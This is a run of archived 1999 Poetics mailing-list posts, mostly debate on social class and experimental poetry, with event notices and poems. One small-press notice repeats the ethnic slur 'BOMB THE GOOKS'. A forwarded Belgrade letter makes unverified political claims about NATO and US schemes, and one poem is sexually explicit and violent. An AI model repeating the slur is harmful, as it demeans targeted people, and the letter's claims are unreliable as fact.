alternately, i read, reductively i'm sure, early l-p and the recent open letter as enacting a one to many relationship. a group can contain many users, but a user belongs to only one goup.

thanks for your time. it seems like we are really in agreement on much of this. i don't know how to proceed.

Bill

Linda wrote:
< to me it seems more important (now) to look for commonalities among different > groupings and try to create permeable groups, to seek out many to many > relationships.

I would tend to agree but then your terms are so general here that I'm not sure what I'd be agreeing with. What do you mean by grouping -- a sort of self-selection? or that of the taxonomist? We can't first look for commonalities without first deigning to articulate them, no? But these writings would then be your "ghosts"? How does one proceed?>>

↑ Index

339. Poetry Project
upcoming
Fri 26 Mar 1999

Next week, due to Easter (we're in St. Mark's Church), there are no readings or workshops at the Poetry Project.

Larry Fagin's workshop will resume April 13th; the other workshops will resume April 9 &10th. If you have any questions about this, please call us at [redacted].

Readings will resume on April 5th with an Open Reading (sign-up at 7:30 pm)

Then Anne Waldman & Victor Hernandez Cruz on Wednesday, April 7th at 8pm

And then, a two-reading evening as part of the People's Poetry Gathering (co-sponsored by Poets House & City Lore) on Friday, April 9th: The Shadow Writing Project at 9:30 pm Robert Bly & Robert Pinsky at 10:30 pm

In the Meantime:

Marcella Durand, Program Coordinator for the Poetry Project, will be participating in a Roundtable Discussion on Monday, March 29th at 7 pm "Readings, Launch Paries and More: Events Planning in New York City for Literary Publishers" at Poets House, 72 Spring St, 2nd floor, NYC

Admission is free for staff of literary magazines, $5 for others RSVP by March 29th, 12 pm to the Council of Literary Magazines and Presses at [redacted] or e-mail to [redacted].

Also forthcoming, as part of the upcoming conference at Barnard on April 9th at 9 am, a panel on Women at the Poetry Project Participants include Brenda Coultas, Marcella Durand, Kimberly Lyons, Prageeta Sharma and Eleni Sikelianos--more information on this next week (sorry, someone took our Barnard information packet...)

↑ Index

340. kathylou
Correction!
Fri 26 Mar 1999

The first sentence of my recent post on class & poetics should read:
I found Grant Jenkins post (thanks for "de-lurking") concerning Susan Howe to be extremely useful--and I strongly DISagree with Rebecca Wollf's simplistic dismissal of it.

Sorry for the confusion. I stare at a computer screen all day long at work and get major eyeball burn-out.
Best,
Kathy Lou Schult

↑ Index

341. Lowther,John
Re: Ray Johnson
Fri 26 Mar 1999

> RE: Ray Johnson
>

someone sent me this list
i thought it seemed worthy to post

> http://www.actlab.utexas.edu/emma/emailartgallery.html
>
> http://www.artpool.hu/Ray/Ray_about.html
>
> http://www.faximum.com/jas.d/asg_15.htm
>
> http://newyork.sidewalk.com/detail/97177
>
> http://www.informatik.uni-trier.de/~ley/db/indices/a-tree/j/Johnson:Ray.ht
> m
>
)L

↑ Index

342. kathylou
Class is . . .
Fri 26 Mar 1999

Education
Language Entitlement
Access to power
Access to money Neighborhood Region
Accent
Vocabulary
Grammar Privilege
Choice
Cultural capital
Leisure
Food Voice
Access to health care Expectations
Manners
Grace
Clothing
Respect

Suffering
Worn upon the body
***
(etc.)

Class plays itself out in contradictory ways. For example, some traditionally male working class union jobs pay more than teaching jobs which require a college education. But ya' know? I'm a girl from the working class and I swear I can smell class. I can sniff it out. I'm rarely wrong.
What does this mean? Perhaps that those less privileged become adept at reading class codes--and often at adopting those of the upper classes as a means of survival. For example, I've been hyper-aware of my grammar since I was a child because I was deeply pained by the disrespect heaped upon my parents (in particular my father) and I understood that the way they were treated was in part because of the way they spoke and dressed. These experiences are very real and become deeply ingrained in the psychology of children. Another question, what happens to the "power of the father" in the face of a working class father who has little power outside of the home/in the marketplace? These are not easy questions. They have everything to do with reading/writing.
Kathy Lou Schultz

↑ Index

343. Jessica Pompeii
PinkFlash
Fri 26 Mar 1999

<------
PinkFlash: I have one about my horse, Baltimore
PinkFlash: today I brought her carrots

PinkFlash: she is a chocolate brown pinto

PinkFlash: Baltimore I will visit tomorrow

Gnomus513: ok

PinkFlash: in her stall

PinkFlash: she lives standing up

PinkFlash: being led around

PinkFlash: Baltimore loves to leap

PinkFlash: but last week she threw me

Smokey8300: No Jacki

WarholStar: ok

PinkFlash: just as we were assaulting the gate

PinkFlash: boom

PinkFlash: her leg hit the 2by4

PinkFlash: and now dad says we have to sell her

PinkFlash: to the jello- people

WarholStar: ok

PinkFlash: so tomorrow when I visit

PinkFlash: Baltimore

PinkFlash: it will be to say goodbye

PinkFlash: I tried

PinkFlash: I cried and threw a fit

PinkFlash: but mom and dad said no

PinkFlash: to princess

PinkFlash: end

↑ Index

344. Bobbie West

Class, Working Pages, and the Mothers Conference

Fri 26 Mar 1999

Since Kathy Lou Schultz brought up my name in the discussion of class, I guess it's time to toss in a few of my own thoughts and observations on the subject.

Most of us here are interested in exploring poetic form, with all its possibilities and limitations, so I'll leave that aside for now and concentrate on content -- which is where I believe class differences show up most clearly among "arty" writers. (Thanks for that term Dodie.) Conceding to Grant Jenkins that "there is no necessary or predetermined relation between class and poetic production," I still see some general tendencies that appear to fall along class lines. Among what I consider to be academically (middle class) influenced magazines and presses, the grittier aspects of life are often not addressed at all or they're abstractified to the point of numbness. The middle class tendency to smooth over all roughness, to hush the noise, to tame the emotions, can lead to smooth poetry, soothing to the mind's ear, but producing about as much engagement as watching a roomful of people think. Added value is accrued by including references to philosophical or literary texts that are either unavailable or seem irrelevant to the concerns of the lower classes. Of course I'm not saying that all working class people like it rough and all middle class people like it smooth, but that the rough is more quickly dismissed and that those who do the dismissing are more likely to be from a middle class or higher social background.

Now, on a slightly different tangent: the social aspects of class as they play out among those on our end of the poetic spectrum. I want to say Amen! to Joe Amato's post, in which he states: "there's nothing i do re which money doesn't matter..." This lesson, ground into some of us from early childhood, contrasts sharply with a middle class conversational avoidance of the subject of money. (For those of you who wanted a definition of class, this is a good starting point. Also check out Dorothy Allison's writing.)

Joe's post and this whole discussion was sparked by events at the Page Mothers conference. More than just an academic affair, it was also a fairly lively social occasion, providing opportunities to meet lots of people interested in similar kinds of poetry and finally to see faces attached to familiar names from this list. The organizers, panel participants, and attendees, of course, were good people, some of them from working- or lower-class backgrounds. But in terms of class, the milieu was obviously not geared toward making lower class people feel comfortable. For example, the refreshments offered the first afternoon were of the wine & cheese variety, no beer or pretzels in sight (at least I don't remember seeing any). The sessions were held in the relatively sterile Seuss room of the UCSD library, not in, say, the meeting hall attached to the campus pub. And why? Mainly because of who was expected to attend, I would guess. How much noise they would be willing to put up with (another class identifier). It was probably also a question of legitimacy, of gaining a certain level of "cultural capital" for all of us who were involved in the conference. (Corn chips as a sign of poetic inferiority! (laugh))

Well, this has been a brief and inadequate attempt to raise aspects of the class issue that have been on my mind for some time. Now back to lurking (hiding).

Bobbie West

↑ Index

345. Grant Jenkins
class and shutting up
Fri 26 Mar 1999

Rebecca and List,

The beauty of email is that we can pop off and vent when we need to without overcensoring ourselves--especially on a List like this where we can usually count on sympathetic or invested ears. I can't speak for anyone else, but I just keep my skin a little tougher when I post. You can never tell how another will read you, and in this medium the other can tell you immediately how she/he read you.

Rebecca wrote:

> There are, of course, opinions expressed in the posting that I do stand by, but they are not particularly well-expressed.

I think you should elaborate those opinion rather than shut up (the recent post on politeness in women's writing comes to mind). I still am interested in whty you think the joy of poetry is because why we DO poetry at all is intertwined with this class question.

A few more thoughts on class, then, while I'm at it. As David Bromige wrote:

> Writing well takes time, > and time takes money, and so the monied classes have given us a 'disproportionate' number of authors

I think one should still start asking questions of class in the context of economics. It seems in this arena, there is a confluence of many conditions: race, gender, history, etc. Virginia Woolf says that a (woman) writer needs about 50 pounds a year in order to create the minimum conditions necessary to writing. That was in 1929, mind, and the problem was (and still is), of course, how a woman could achieve such a financial goal. But the sentiment I think still holds true today: one must have support to write. For many reasons, one would be very hard pressed to be below the poverty line and write.

Being an academic, especially at a non-PhD granting institution, as Mairead pointed out in her post, is still work. When I have 50 essays to grade over a weekend, it's likely I won't get much writing done. It's just an economic limit. If I won the lottery, I guarantee I would write more. Simple economics.

I think it's crucial to avoid a more vulgar position that says middle-class = bad, working class = good, or whatever. There is no necessary relation between class and output by a writer. Class is a condition, not a determinant. This is why the class one identifies with (which may be different than economic category) can make a difference in one's writing.

Now, I'll shut up.

This is a great thread. I'm learning a lot.

Grant

↑ Index

346. Kevin L. Magee

Re: Wittgenstein on working class

Sat 27 Mar 1999

DUMBSHOW

they are remote exchange-effort they are obviously all from the same town as good a definition as any for a bad theater to make the widest and most distant ring itself flowed from the previous day's alarms a drummed insistence dogged by drumming on a drum drawing to itself the declaration it is a spinning disk, not a summer flower

last month's rehearsals had driven the mothers facing the immediately practical problem of finding their way, and then the phone rings is this the irruption of the broken spell acting displace reading mobility and volume the best rehearsals get done in the boredom the blossom a rhythm in the giant striding mouth-made eye of the beholder holy rolling electric passages, accent's pikestaff a black-ringed misspoken broken Wall roaring as gentle as any sucking dove in propria persona the new proletarians reared & yawned & donned their Sunday best usurping the court's monopoly of discourse

"that would hang us, every mother's son" what are they that do axe about their class undiscussed and more than technical hebraic onoming mechanicals whose time is come there will be thunder and then a whisper weighs the idea down, Titanic-Titania tell the actors to burn down the theater speak from deep within disorder

a photograph taken for the archive or posters more artless than ever, WRECKA STOW writ on a love-note past to me from the back row
ABOLISH SYMBOLIC LABOR

P.S. Dear San Fran, one of Wittgenstein's students writes somewhere that his dear teacher once said that philosophy is simply the (mechanical?) effort to ask the same question 1000 times. Could anyone do a reprise on Ben Hollander's essay on Reznikoff re "accent?" It's in one of those circulars that came out of 7722 Lynn in the spring of 95 republished in France. One of the sharpest contributions to this question of class I remember is Kim's "you sound like immigrants" spoken at the class talk when? That to move from one class to another is not a betrayal, per se, unless you're a dogmatist, or self-flagellationist, but an act or migration as brave and intelligent and necessary as every woman and child and man who scales the wall south of san diego.

Kevin

↑ Index

347. derek beaulieu / house press

bpNichol's TTA?

Sat 27 Mar 1999

---

poetic'eers i was wondering what yr opinion/response was to bpNichol's _TTA:Translating Translating Appolinaire_ - having read it now, and in the process responding to a freind's essay on TTA, i believe that TTA explores, much like bp's other works - the physical materiality of language. with TTA, bp also probes the space between languages (that s the difficulties of placing a translated text between the original (and its language base) and the restraints of the 2nd language) as well as the chalenges of faithful translations. the process of manipulation and translation is then used as a means of exploring the alphabetic symbols (as in the pieces from TTA18) as well as memory as both recollector and creator... (TTA also can relate to nichol's other works of translations like Six Fillous, the catallus poems, etc) i was just wodnering if anyone else had critical response to TTA, or if they would like to receommend further homolinguistic translations, etc... well thats it... ciao derek beaulieu

↑ Index

348. Chris Wall

Re: VISUAL WORLD PEACE

Sat 27 Mar 1999

---

this focus,
this communication,
this concentration,
let it's power reign,
let it make a change

It may be so easy for us to say as our skies are not filled with fire here

and we do not hide in our houses in such a way

but as we are human one family we feel and we pray
bring an end to all suffering bring an end to all violence

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

349. Susan Wheeler
Readings
Sun 28 Mar 1999

I'll be reading at the Borders Bookstore at 830 North Michigan Avenue in CHICAGO at 7:00 tomorrow, Monday, the 29th; and at Iowa Writers Workshop in IOWA CITY Friday, April 2, at 8:00 -- "a tough gig, Good Friday," as a former student now there said.

↑ Index

350. svp
(no subject)
Sun 28 Mar 1999

Sub Voicive Poetry 1999 # 4 - delayed issue contains a new poem by Colin Simms and an extract from a new sequence by Bob Cobbing

Sub Voicive Poetry 1999 # 6 - a poem by Elizabeth James which is a rather successful tribute to the excellent and important painter Bridget Riley - visual & possibly for sounding; an extract from the sequence Narcissus A by the Canadian Paul Dutton; programme notes by John Chris Jones to his scheduled performance of "Notes and Plays" at SVP in London UK on 30 3 99; a note on COMM ART 99 due to be held in Sabac, Jugoslavia this month; and e-letters on the NATO attack on Jugoslavia from Clemente Padin in Uruguay, and from Viktor and Miroljub Todorovic in Serbia

Each £1 + 50p p & p for one or both in UK payable to Lawrence Upton. Will exchange with those unable to pay sterling

Publication 1 4 99

Address 32 Downside Road, Sutton, Surrey SM2 5HP

BOMB THE GOOKS / BOMB THE GOOKS / BOMB THE GOOKS

↑ Index

351. Tony Green
Re: Lettrisme
Sun 28 Mar 1999

There is some discussion of Lettrisme & Isou in Marcus Greil. _Lipstick Traces_Secker & Warburg, London, 1989 (ISBN 0-436-27338-1) Interesting is exh.cat. _on the Passage of a few people through a rather brief moment in time: ed.Elisabeth Sussman, THE SITUATIONIST INERNATIONAL 1957-1972_ The Institute of Contemporary Art, Boston, Mass. MIT Press, 1989. (ISBN 0-262-23146-8 hardcover, 0-262-73095-2 paperback).

Tony Green

↑ Index

352. Irving Weiss
A desperate Cry
Sun 28 Mar 1999

From: "Viktor Todorovic" <[redacted]>

I just received the following.
Viktor is the son of Miroljub Todorovic, longtime publisher of SIGNAL and a visual poet.
All I can think of is to send it to the literary listservs I belong to. I think the bombing must stop, but it probably won't for fear of loss of face, and the US will hardly invade with ground troops insofar as we sensationalize the recovery of one downed pilot, and, in any case, I'm sure all of you who are concerned have gone through the back-and-forth thinking I and others I know have been used to in our own minds without knowing what to do. If any of you can think more effectively about all this,please let us know.

At most I try to keep in touch with yugo-links at http://noel.pd.org/topos/free-zone/yugo-links.html

and Chris Cheek's recommendation of http://www.pd.org/topos/links/links-frame.html

So far I can't get immediate news from either and when I get Real Audio unfortunately it's in Serbian (i.e., I can't translate, not Serbian meaning the bad guys). The Todorovics are Belgrade Serbians active in the student strikes in Belgrade of a year or so past.

I include enclosure, but I don't understand it.

> To whom it may concern and to everyone else who cares,
>
> I'm Milos from Batajnica. It is a suburb of Belgrade and in its vicinity is our major military airport. I have been in Batajnica up till now but the situation has become unbearable and terrifying. The people of this community rarely have the chance to leave the air raid shelters, since bombs are falling ever closer to my home, day and night with few and short interuptions of cease-fire. The shelters are literally packed with people - Serbs, Gypsies, a few ETHNIC ALBANIAN families, refugees from Bosnia, and maybe I'm even missing some other ethnic minorities (I apologize to them). They are mainly frightened, some cry, some comfort the ones who are crying, some stare with empty gazes at the massive concrete walls lost in thought, some try to joke but the facial reactions are grimases only faintly resembling smiles or laughter. When everything is taken into account, we have been managing quite well. The folks are quite disciplined and everyone is doing his/her best to keep the calm and awareness that we all need. But this is the status quo after only four days, and I can hear on foreign news bulletins that NATO is prepared to prolong this into weeks, months.... The talking heads say this, as if all of it was some kind of holiday excursion. Do you people have a clue what it feels like when you hear an air raid siren, the terror of images rushing through ones mind of what might happen in YET another air raid this morning, evening, afternoon, night, dawn, dusk or any other moment of time that is yet to pass on. After only four nights, people are weak from lack of sleep or insomnia, psychologically sapped of energy and strength by their concious and subconcious premonitions. They say that only military targets are being hit, but I have already seen two civilian targets destroyed by NATO fire-power, and heard of dozens of similar cases from people I constantly keep in touch with via email or telephone, and lots of them had human casualties.
> This has to stop. NATO says that it is doing this to avert a humanitarian catastrophy, but its automatically contradicitng itself by noticing that "the Serbian army has stepped up with massacers", although, again, there is no authentic data to confirm this, meaning that what it really wants is to step in with ground troops and "finish us off".
> On the other hand, they say that they are doing this to hurt Milosevic and strip him of power, but they know very well that this will only enforce his rule even more and enable him to eliminate any reformist movement that may challenge his power.

> Do you people understand that any opportunity that may have existed for this country to finally break free of isolation, xenophobia and repression and enter THE WORLD again is now irreversibly smothered regardless of the outcome of this war (because it is a war).
> America has is creating yet another puppet state in which it can excersize its power, blackmail Europe with constant threat of war and introduce drug flow BIG TIME into Europe (try getting some info on Albaninan mafia and what they do $F6 then you'll find out where the money for their "brave struggle for independence" comes from). Finally, after disposing of us nasty Serbs, they can (and will) revive their aspirations towards Russia and their enormous potential in resourses.
> In the end I can only look back in anger and see what NATO has done to the Balkans in the past decade through the warlords it has installed as leaders of all major ethnic groups here, pushing them against each other in a struggle for power and wealth, supporting them whenever there was even a glimmer of a chance for them to lose their reins. We, the people of the Balkans, have payed the price for this operation of protecting "American interests" in wasted or lost lives, property, and a very dark future.
>
> DO NOT SIGN THIS LETTER IN ANY WAY, SINCE YOU SHALL ENDAGER MY LIFE

↑ Index

353. Marcella Durand
no fold
Sun 28 Mar 1999

Belated response:

The Poetry Project Newsletter is not folding.

It will, however, be on summer vacation for August.

I get nervous when people ask these things.

↑ Index

354. Harold Teichman
Is anyone going to the Cambridge CCCP April 23?
Sun 28 Mar 1999

I am new to the list and rather new to contemporary innovative poetry in general (some of us are pretty slow, what can I say), but am happily trying to find my feet.

I am going to attend the Cambridge (UK) poetry conference on April 23-25, bracketing it with a brief holiday in London and Edinburgh. I would be very happy to meet any list members (or anyone else) who might be attending this event, and would love to hear from you via email beforehand.

Also, if anyone could clue me in on interesting poetry events in London during April 19-22 or Edinburgh during April 26-29 I would be very grateful.

Thanks and regards to all,
Harold Teichman
[redacted]

↑ Index

355. louis stroffolino
LYNN KELLY's Q & SUSAN HOWE'S A
Mon 29 Mar 1999

Looking over the exchange that Betsy Andrews post between the two aformentioned writers, I come to a different conclusion about this exchange. You may notice that LK's question (her formulation of an 'objection' that could be raised to Susan Howe's poetry) is not really being addressed by SH, at least that's what I noticed.... For LK asks about EDUCATION, asks whether a poetry like Howe's may only reach a "very narrow, highly educated," audience, and whether, in America today, one may have "tremendous intellectual confidence" WITHOUT being "highly educated." I thus see HOWE as misreading LK's question, because S.Howe seems to "elide" the distinction between "highly educated" and "intellectualism".... I think it's possible that one may be "intellectual" without being "highly educated." It's even quite plausible that in many cases being "highly educated" can GET IN THE WAY, or detract, from being intellectual. And even though I, with Howe, question the "frightening anti-intellectualism" of our society, and even her Stevensian notion that poets may (if not must) address themselves to an elite, I think the distinction (implicit at least) in LK's question between an "highly educated" elite and an "intellectual" one (i use the term intellectual more loosely, as a sense of rigorous thought-engagement even if it lacks the proper pedigrees and references) needs at least to be entertained if not stressed.... For, I know many intellects who have succumbed to a feeling of inadequacy in not being "highly educated" enough, many intellectuals who lack "intellectual confidence" (just as conversely, there are some who "possess" such "intellectual confidence" who may not be as intellectual as many of those who lack such confidence....)

Anyway, perhaps this is too nitpicky (my method of stressing a few of the words, in a way I call "close reading"), but I think it DOES relate to Rebecca Woolf's original point (however expressed, and misunderstood, and perhaps by myself). I, speaking only for myself here though, find a reductive binary formulation contrasting "highly educated" and "intellectual" useful here: I consider Howe (and Olson and Pound, who in many ways she resembles) to be a poet that does require a more "highly educated" indidividual to read and appreciate (the learned references that point the reader to texts by COTTON MATHER or Fenellosa, etc., as if one must read them in order to "fully appreciate" Howe's and Pound's project) and would contrast this to other poets that, though they themselves may be considered "elite" and certainly at least as "highly educated," do not require as blatantly such "highly educated" readers (say, Stein, Riding, Stevens, Ashbery, for instance....if I'm going to play the lineage game here....). Sure, there are moments in some of this latter group in which "allusions" and references may flatter the highly educated (Ashbery's titles referencing the "tradition" and all the "in jokes" and "appropriations" from other texts), but it's been my experience at least that they are not as NECESSARY to the appreciation of the poem and the project, one can "get" and/or at least enjoy Ashbery without knowing that he's quoting a lengthy passage from a famous victorian. Anyway, I guess right now, I "side" with the latter mode, but I am certainly open to anybody calling my formulation into question.....

chris stroffolino

On Thu, 25 Mar 1999, BETSY ANDREWS wrote:

> Well, let me weigh in with a bit of retro-biographical information about Howe that speaks against the really wierd idea that the "crappy papers" of bunch of "middle-class" students who love poetry at "middle-ground state universities" toll the death knell of "all joy in poetry":
>
> In a 1995 Contemporary Literature interview, Lynn Kelly asked Howe," People objecting to experimental writing sometimes complain that whatever claims are made for its social engagement or marxist perspective, or its changing hegemonic structures of consciousness, that, in fact, the aduience it reaches is a very narrow, highly educated one, that the reader has to have tremendous intellectual confidence even to grapple with these texts. What do you think? Does that concern you?"
>
> Howe's reply: "No. The objection offends me. I think it is part of a really frightening anti-intellectualism in our culture. Why should things please a large audience? And isn't claiming that the work is too intellectually demanding also saying a majority of people are stupid? Different poets will always have different audiences. Some poets appeal to younger people, some to thousands, one or two to millions, some to older people, et cetera. If you have four readers whom you truly touch and maybe even influence, well then that's fine. Poetry is a calling. You are called to write and you follow."

Howe's comments counter Rebecca's remarks from her post "Re: Shifts in Modalities" in two totally different ways. Firstly, Howe refuses to totalize. There are various aesthetic communities of readers and writers. There is no "all" anything. Secondly, Howe refuses to condescend. She's enraged by the condescension.

I wonder if Rebecca thinks being middle class is the problem, or going to a "middle-ground" state university is a problem--I have an MFA from one of those places, George Mason in Fairfax, VA,--I went there on purpose, and believe me, there was all sorts of joyous experimentation and intellectualism there. Or if that provisional term of hers, "love" of poetry is the problem. What does "love" in quotation marks mean?

From: Grant Jenkins <[redacted]>
To: [redacted]
Subject: defensive poetry
Date: Wednesday, March 24, 1999 6:17 PM

This [the posting about S. Howe's particularities] is exactly what I was talking about earlier when I said that "it [the shift into classrooms producing critics whose facilities are lamed] will happen and it will suck." I do not want to know what Susan Howe's family home was like and I do not want to know what her husband does for a living. Cultural studies is simple biographical criticism in thin disguise: an excuse for sensationalism and for those who are uncomfortable with ambiguity to write about where their subject was born and how many doctors were around the table, color of baby blanket, etc.

Well, I guess I should come to my own defense--if I am able, being only a lame, lowgrade academic.

All snideness aside, I have a question for you, Rebecca: what exactly then do you think is the "joy of poetry"?

What I can gather from reading the texts of Susan Howe--letters, poems, journals, marginalia--that it is precisely the textual particulars of another that she finds to be the "joy of poetry." Reading Melville's Marginalia, a colletion of his notations in books he was reading, inspired her to write a poem that exposes the irony, uncertainty, and change in not only Melville's "life" but also in history (another text). Immersing herself in the manuscripts of Emily Dickinson, Howe reclaims and > reconsiders Dickinson in a feminist context. I read much joy, Susan's and mine, in both of those works. The joy comes not just from the work but that it was written, by someone.

>
> This is not biographical criticism because it does not distinguish between a "text" and a "life." Both are in language yet bear the traces of another person who chose to write. Nor is this mere cultural criticism, as you would have it. It's what Peter Neufeld in his post refered to as an ethics that calls for a consideration of the uncertainty and alterity that mark our reading of an other's texts. There is more at stake than just figuring out "what it means." Anyway, I don't know to many academics who have this goal. (Isn't so much of the poetry that we all enjoy and feel invested in marked by a blur between poetry and criticism? Must we draw that line in the sand again? Why?)
>
> For me, the joy of poetry comes not just from New Critically reading (or writing) the Genius of a poem, In Itself. But from following the textual threads out of the work and into other texts and other uncertainties, ad infinitum. Not knowing "what it means" is the greatest joy.
>
> Grant

↑ Index

356. louis stroffolino

Barnard Conference...

Mon 29 Mar 1999

Recently, I've been informed that the panellists giving papers, and/or talks at the Barnard Conference HAVE TO PAY A FEE in order to attend this conference. I personally (as well as some others I've talked to) find this appalling. When Stephen Cope (are you there Stephen; if so, backchannel please) invited me to be part of the conference, he made no mention of it, and since it was "in my backyard" as it were, I was thinking I--if not getting paid for my efforts--would at least not have to PAY to participate. I do not know if the "big names" are getting paid to present here, and I certainly have no gripe with them if they are, but the idea that us "smaller names" have to PAY is something I wish I would have been told up front. I understand that the organizers are putting a lot of work into this conference, but Barnard, one would think, certainly wouldn't benefit from the "petty cash" it would extract from underpayed (underused) academically unafffiliated writers.... So, I'm wondering if there's anything that can be done about this?

Best,
Chris Stroffolino

↑ Index

357. A. Jenn Sondheim

Sewn in You

Mon 29 Mar 1999

\

Sewn in You

@salt and gold
<Julu> your limbs around me / holes caught in trees and flowers
<Alan> give me thorns piercing the soft flesh <Julu> thorns of love screaming against your holes on the way to Armageddon
    this is the way to Armageddon.
    so this is the way the thorns go, ripping the pink flesh.
    ripping the ribs and rims of the flesh, emerging from filth.
<Alan> call it filth and draw brown blood from me into havoc.
<Julu> don't you dare call me havoc.
@havoc -> #@$(&(&$%))(*@#$ [noise is on the line]
+++
You have been disconnected. Do you wish to reconnect?
<Julu> perfect love is always interruption.
<Alan> cut my nipples from my breasts: plant them.
@cut @plant @grow Soldiers of the Golden Fleece <Julu> and they have black bellies of black bombers cut into straight and rigid angles and just so reflecting radar and midnight tracers everywhere across your body's violent hills.
@you your belly, holes and fabrics drawn from love and nature.
<Alan> i i i i i ruffles combs serrations raked across your shoulders, i can imagine drawing blood into the page among us <Julu> i can't sleep without you, live without you any longer, can't breath without your flesh heavy in my lungs. i want your lungs in me. i want to breathe your breath, i want to eat your flesh.

<Julu> i want your lungs. i want your flesh. the @premonition of the Argonauts Black plane cuts the furrows weather-vaning across tillage and you can dream your bright lights, you can dream your trees. At night I try to sleep in the fires, there are lips and labia everywhere, skin swollen and cracked to the bursting point. There's no difference between you and me. Between the two of us. The deep slits in the dry dark earth carry water down and out to the road. The road's always filled but the people are invisible and I do not love them and will not learn to love them.
<Julu> don't give me your dreams as well. oak floors are hard but they tend to swell in floods, pushing out the walls of the house, everything falls to pieces, you can't find the planes @jason
The Argonauts are coming: MEDEA OF THE FALLEN TIMBERS whose skin tears along those lines separating us. Our love will bring the planes down. Our love makes the growth of every living thing.
<Julu> if you leave me i will kill you, if i kill you, you will leave me.
@sewn
I spent my time sewing us together. I spent my time sending needles into and across the skin that holds the sky. Planes seep contrails everywhere sown like teeth holding culture against barbarian hordes, all hordes are barbarian.
<Alan> you shit on me, i crawl through it, to you you you;
bury me alive, i'm there for you, the black planes replace the freighters, air replaces water, you replace my mind with your own and teach me things i never dreamed, lines and lineages of the black planes, the smell of silt and shit in the furrows gone down to the road, the path of the road gone down to the village where we are fucking <Julu> the planes are coming again, the Argonauts have carried medusa, your cock is stone, i love your cock <Alan> i love the taste of your shit, your vomit, your milk, your blood
<Julu> down on my knees beg you crawl through me @sword

@shield
@mail
<Alan> i can't feel anything any more but you, you're all i want to feel, threads cut through the flesh, threads seal our mouths and holes together
@Argonaut
They do capture and they do bring us before the king and Medea. Medea begs us to fuck her, Phaedra begs us to fuck her. We do fuck her. Do we violate Jason with the plane and spike. Do we thrust the sword and lance through mouth and hole. Does his tongue rot?
<Julu> does his tongue rot ours?
<Alan> his tongue does _no such thing,_ his tongue does no thing, there are no thing.
@people
There are people around & we want to fuck in front of them & strip each other & expose ourselves utterly. We can't keep our hands off each other. We swallow each other. We draw blood against the bone. Our hair is matted with blood. We give each other every possible disease and drug. We give each other every possible dream and mind.
We do know the world and could make everything true and beautiful. We choose to fuck and love violently and hard.
The planes are coming.
<Julu> we choose to draw blood with blood.
<Alan> we choose to draw planes with our blood.
<Julu> we choose to draw bombs with our blood,
we draw broken homes and windows too.
<Alan> we draw smashed streets and cities too.
<Julu> we draw smashed people everywhere lying and screaming on the ground.
<Alan> we fuck so hard our cocks come out our cunts, our cunts out our mouths, our mouths out our cocks
@out
They do only to go back again. They do bind each other into violent knots. They do go back.
<Julu> we die for our love, our flesh and blood feeds
the soil of all good-bad things
@Argonaut
A large shadow looms over the landscape, a male chained in armor carrying an iron sword, there are whirlwinds and shadows, there are duststorms and fires, there is the sound of a great word spoken in a great language.

@speak
@sew @fuck
<Alan> this is understood between us when our bodies <Julu> clash together, hungered hard, torn apart and <Alan> chain-male woven, you better hold me forever, <Julu> you better hold me forever, you better be good <Alan> to me, you better bury the planes, you better sew the fields and lips, till the fields, rake the shoulders of all surface burn the shoulder-furrows
@write
Write the name of aeroplanes and war.
@havoc - @#$@^&$)(%$(*&#$%& [noise is on the line]
+++
You have been disconnected. Do you wish to reconnect?
@love
Love soars its way through the bullets and bombs and everyone hears the truth. They fuck so hard it is louder than any word. They scream and scream and scream and scream.

↑ Index

358. Steven Clay

Lyn Hejinian and Emilie Clark presentation

Mon 29 Mar 1999

During most of 1998 Lyn Hejinian and Emilie Clark collaborated on a wonderful book project 'The Traveler and the Hill and the Hill' which was published by Granary Books.

On Wednesday, March 31 at 7:00 artist and poet will present a slide show and reading from the work at Teachers and Writers 5 Union Square West in New York City. The event is free and open to the public.

Hope to see some of you there!

↑ Index

359. Joe Amato/Kass Fleisher
Re: Ray Johnson
Mon 29 Mar 1999

---

the march 29 issue of _the nation_ has a nice write-up by arthur danto on "correspondance school art," incl. a discussion of the ray johnson show at the whitney in the context of fluxus...

best,

joe

↑ Index

360. Summi Kaipa
query
Mon 29 Mar 1999

Does anyone out there know anything about the work of Abigail Child? I just recently saw part of a film of hers entitled "Is This What You Were Born For?" which had Hannah Weiner's words dubbed into it.

Any leads?

--Summi

↑ Index

361. Barbara Henning
apartment listing in NYC for June & July
Mon 29 Mar 1999

I'm going to be out of the country this summer and I'm looking for someone to sublet my apartment in June and July. I live in the East Village and the rent is $1,100 a month plus deposit.

Barbara Henning
[redacted]

↑ Index

362. Mairead Byrne
Re: Class is . . .
Mon 29 Mar 1999

On Fri, 26 Mar 1999 [redacted] wrote:

> I'm a girl from the working class and I swear I > can smell class. I can sniff it out. I'm rarely wrong.
> What does this mean? Perhaps that those less privileged > become adept at reading class codes--and often at adopting those of the upper classes as a means of survival.

Kathy Lou, this seems to me a very mixed blessing. I suppose there were always those who could sniff out a Catholic or a Jew or a Black. Often the sniffing is offensive rather than defensive. Sniff away: I find the notion obnoxious. Mairead

↑ Index

363. Poetics List
Zine Conference / Basinski
Mon 29 Mar 1999

---

this came to the administrative account. Chris

Date: 3/26/99 3:04 PM -0500
From: "Michael D Basinski" <[redacted]>

Zine Conference - Connecting Counterculture

an open form for zine editors, writers, readers and artists featuring panels and workshops on: technology, and zine culture, electronic distribution, zines and style, art and activism, zines and social change, zines and issues of race, class and gender, elitism and counterculture, oppression in the underground etc....

Bowling Green June 11-13.

for more info email jason: [redacted]

Michael Basinski Poetry/Rare Books Collection
SUNY at Buffalo
[redacted] Fax: [redacted]

↑ Index

364. charles alexander
Re: bpNichol's TTA?
Mon 29 Mar 1999

---

derek and others interested:

Yes, TTA presents the things you mention below, as well as a different way of thinking about literary history, how we view past works and what we might do with them, and definitely an appreciation of the physical manifestation of the text, so it's not, to me, just the "physical materiality of language," but how all aspects of physical presentation contribute to the meaning of the work. Not all of these aspects are characteristics of language, some are products of the photocopying process as in SHARP FACTS: Variations on TTA 26, and some are Nichol's inventions concerning possible arrangements of the specific language of the poem.

Several parts of Translating Translating Appolinaire, as well as different writers'/artists' extension of the work, are online at the Light & Dust poets site. To find them, go to http://www.thing.net/~grist/l&d/lighthom.htm
and scroll down the alphabetical author list to the Nichol entries.

charles

At 02:49 PM 3/27/99 -0700, you wrote:
>poetic'eers
